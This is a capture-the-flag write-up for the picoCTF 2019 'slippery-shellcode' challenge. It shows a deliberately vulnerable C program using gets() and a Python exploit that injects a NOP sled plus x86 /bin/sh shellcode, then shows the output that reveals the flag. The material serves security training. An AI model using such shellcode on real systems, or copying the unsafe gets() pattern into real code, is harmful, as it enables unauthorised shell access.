picoCTF 2019 - slippery-shellcode writeup

07 Nov, 2020

Description

This program is a little bit more tricky. Can you spawn a shell and use that to read the flag.txt?

Category: Binary Exploitation

Points: 200

Source Code

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>

#define BUFSIZE 512
#define FLAGSIZE 128

void vuln(char *buf){
  gets(buf);
  puts(buf);
}

int main(int argc, char **argv){

  setvbuf(stdout, NULL, _IONBF, 0);

  // Set the gid to the effective gid
  // this prevents /bin/sh from dropping the privileges
  gid_t gid = getegid();
  setresgid(gid, gid, gid);

  char buf[BUFSIZE];

  puts("Enter your shellcode:");
  vuln(buf);

  puts("Thanks! Executing from a random location now...");

  int offset = (rand() % 256) + 1;

  ((void (*)())(buf+offset))();


  puts("Finishing Executing Shellcode. Exiting now...");

  return 0;
}

Explanation

We are prompted to enter shellcode into a buffer. However, a random offset between 1 and 256 is chosen as the starting point for code execution. This means we cannot simply place the shellcode at the beginning of the buffer.

Plan

Fill the first 256 bytes of the buffer with nop instructions (0x90)
Place shellcode after the nop sled

Exploit

My python exploit:

 # A random offset between 0 and 256 is chosen as the start of the buffer.
# Fill the first 256 bytes with a nop sled that will guarantee the shellcode
# will be executed.
#
# (python exploit.py; cat -) | ./vuln

nopsled = "\x90" * 256
shell = "\x31\xc9\xf7\xe9\x51\x04\x0b\xeb\x08\x5e\x87\xe6\x99\x87\xdc\xcd\x80\xe8\xf3\xff\xff\xff\x2f\x62\x69\x6e\x2f\x2f\x73\x68"

print nopsled + shell

Run exploit:

$ (python exploit.py; cat -) | ./vuln
Enter your shellcode:
������������������������������������������������������������������������������������������������������������������������������������������������������������������������
����������������������������������������������������������������������������������������1���Q
                                                                                             ^�晇�̀�����/bin//sh
Thanks! Executing from a random location now...
cat flag.txt
picoCTF{sl1pp3ry_sh311c0d3_0fb0e7da}

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